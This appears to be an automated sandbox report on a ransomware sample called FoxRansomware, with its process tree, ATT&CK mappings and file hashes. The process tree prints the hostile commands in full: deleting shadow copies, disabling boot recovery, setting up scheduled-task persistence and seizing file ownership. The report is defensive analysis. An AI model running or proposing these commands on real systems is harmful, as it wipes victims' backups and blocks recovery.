- Suspicious use of AdjustPrivilegeToken
PID:3328
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\I6DtMTfP.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\I6DtMTfP.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:692 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\IylIwnwC.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\IylIwnwC.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
PID:1264
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
- Suspicious use of WriteProcessMemory
PID:4688 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵PID:4280
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\YMxXNJbw.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\YMxXNJbw.bmp" /f3⤵
- Sets desktop wallpaper using registry
PID:1000
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵PID:3980
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵PID:2704
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\3qJRCtMJ.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""2⤵
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\SysWOW64\attrib.exeattrib -R -A -S "C:\Users\All Users\USOPrivate\UpdateStore\store.db"3⤵
- Views/modifies file attributes
PID:2396
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C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C3⤵PID:4276
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C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4652
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Shhd7Ms2.exe -accepteula "store.db" -nobanner3⤵
- Suspicious use of WriteProcessMemory
PID:2768 -
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\Shhd7Ms2.exeShhd7Ms2.exe -accepteula "store.db" -nobanner4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4384 -
C:\Users\Admin\AppData\Local\Temp\Shhd7Ms264.exeShhd7Ms2.exe -accepteula "store.db" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:4380
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C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\IylIwnwC.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4664 -
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet2⤵
- Interacts with shadow copies
PID:5468
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C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE2⤵
- Suspicious use of AdjustPrivilegeToken
PID:6404
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6040 -
C:\Windows\system32\vssadmin.exe"C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3568
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
PID:1648
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
PID:4304
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F2⤵PID:6696
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6588
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Indicator Removal
2File Deletion
2Modify Registry
2Replay Monitor
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Downloads
- Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\#FOX_README#.rtf
- Size 8KB
- SHA256 921b5068bb8e9c4ccff908246f56747f8145260ad1af1016d57e0fdf7de6cbe1
- MD5 cdcd0974e749dfa22072ed5205c70b35
- SHA1 6c38aceda0c036ad43ffd7e0f22f00070762dc9d
- SHA512 2e9cad49fc7096a2e8b2d7d6e21d1526ee165cb0342dc99e59734835889c3d4921e3edba0a56c3c8d135bae61237cbd4d1b3eb4ca41e0604655c4fd67bbca157
- SSDEEP 192:TUVDkh6ojUjcNYPtLnv0SkDSliQZYFXh7y:OOWSWlLINy
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 16KB
- SHA256 9c2d73384c6b051bd776c72979b26519061919d795cace6de96aea434b7e30c6
- MD5 db09809bbf84575c172638f4daef5aa2
- SHA1 1da25147e3b2191b5045ca91ff2fe82dc8a52160
- SHA512 ae39fb62478242eff06a3949c822f9db458bb0dadd39bc83772e455c4ddc98d79aead37b350c7061968600838d1bfe7b1c4419e621ab3621d895bc67605f07b9
- SSDEEP 384:Srf+jj9i+fgfMaNBizJkyz7r/T/PK6seYkUhk/YW3SofV3lAxPEkyKC0:AfAgtoeU/T/PNM6TSAAZEkB
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\3qJRCtMJ.bat
- Size 246B
- SHA256 67220b71dbf4cacd598e56fcaeca6ca45ac5deedd03e2cb28879e6e7233fbe6d
- MD5 a3ed50cfe1262dec7b2cc305f60b4e11
- SHA1 ac2e3dfe4523cbe0f6d29025dc5de71af57192ee
- SHA512 938e0c4764d279f764d3113ff567ebd576b3529323b200797a35f2e17f8a22f8f14b05af086cef16a6d618b728477fd993d97e8afc37eafca274d089eb355937
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWLeOE3P.exe
- Size 1.2MB
- SHA256 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7
- MD5 76b640aa00354e46b29ca7ac2adfd732
- SHA1 afebf9d72ba7186afefebf4deda87675621b0b8b
- SHA512 fecb15238714c786098f1dd0bb18696ab15634228ec3a48c900fd843e817d4c24607bdf6fb58e0321da3e1c1e49305ec919dddabbd34727acec8fbd6cb6fd552
- SSDEEP 24576:l/SA+2lraRrjSJR5ezmT1dM9tZBrPyvaNn:zXlabPyyN
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\Shhd7Ms2.exe
- Size 181KB
- SHA256 0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4
- MD5 2f5b509929165fc13ceab9393c3b911d
- SHA1 b016316132a6a277c5d8a4d7f3d6e2c769984052
- SHA512 c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8
- SSDEEP 3072:hnQr0ryqPlGGyPAPNIfG+QWx5sOjw9i8yxulNpsl/DXHcd6Gu9XQBYWW7tpT6azN:hnf71rClQWjNw9i+psR3g6G4SLILT6aR
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\X91ix9yi.txt
- Size 14B
- SHA256 82ad297f8577dd8f868d0068e253c3d6b61a1e332d7038ed18d23da65b03ad6c
- MD5 c74dacdd9331a6698efffe81ff66ac08
- SHA1 79e8ce4bb5cc2436e95fad4a74a31aee7aa63043
- SHA512 24620715fb4e07f73db38962b2f95b77396d09a65f153c138f4d873e7f83f9cc72a16423ce2af745f8a04d1e657dfa7d9136ec3fd9ff5794b385ec33edae89da
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_1DE4665DDDA47F49.txt
- Size 10KB
- SHA256 4c7a380aa13fbc0b55b772b7ec15b7f889b5063751a00e051b3e7930bf0783b1
- MD5 1d826950935dfd828954c114923c4aa1
- SHA1 e699a5205b4f7c3a4f3f00f2783638b23b78c713
- SHA512 a69600b75d32d43cb823a95a28577a7a703919981bd9f2ca9eeffbdfbb2398e59f9012e00d78a65155a4daa681083347619acdcc7151f68fa48bd96ec3fb4cd6
- SSDEEP 192:hpWZzs+d64uCJwRwhEra83LwMHPXMpPjdysrMjX3doNdAaIrwrM7DPwmw7+9ztux:hpWZzs+d6LgwRwhEra83LwMHUpPjdysd
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_1DE4665DDDA47F49.txt
- Size 305B
- SHA256 ceb39b99e116412b703f878caace55bd944bce0da42fc9b2cdce5769810f20de
- MD5 6462c4a907222906e0518485fd90ca19
- SHA1 227c2b4cf50b1c0b8c1f019833196a50ace36354
- SHA512 56bd88245471843c086cd67bf62caba466b9b81b2e0ff712ae476efccec058585ea4c81b3bd6c9640b4bb19300a8f81e5af89733c11596dd12304a81587129c5
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\Shhd7Ms264.exe
- Size 221KB
- SHA256 7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec
- MD5 3026bc2448763d5a9862d864b97288ff
- SHA1 7d93a18713ece2e7b93e453739ffd7ad0c646e9e
- SHA512 d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6
- SSDEEP 6144:8MmTGW8nEorxuTspf4xCzkNd96JHk1KSx:ZqGr11ZaNKSx
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wkgbgjk1.nxt.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\I6DtMTfP.vbs
- Size 260B
- SHA256 c3ae2936fa2ff7368d2ac04c17652dd5807e31e636fbec1d141858f4b3116dc0
- MD5 e3a3a3941f7fda7839a353d7b30cb890
- SHA1 a162dd3fb7c9a1765871af77703cf669f6c24467
- SHA512 69b04a3bfa656c4e89a672f39677ea13df67e2b6629e6bbc6e050ac0accb6ba609245697cee3056c8452163764a9349f565a58bd9f2d92894f8fa04609b5c94a
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\IylIwnwC.bat
- Size 415B
- SHA256 f2246e5d0c7b48eab30c64fc6beed6f16726bdc48efa2a3720f52c2f163662fb
- MD5 a6ab3b722df597dcbf1bb171c2b67920
- SHA1 636b0abd8059a19a2244cf9106428f7ecb80f033
- SHA512 fb68a644ded7e34157363c35ebb56fe42bbaffc261d0b45416e7eef0e4fe88b2a596825b2e412a611be04c17a74c849b4c24c2f17447974d68fa14ab554cbef7
- MD5 SHA1 SHA512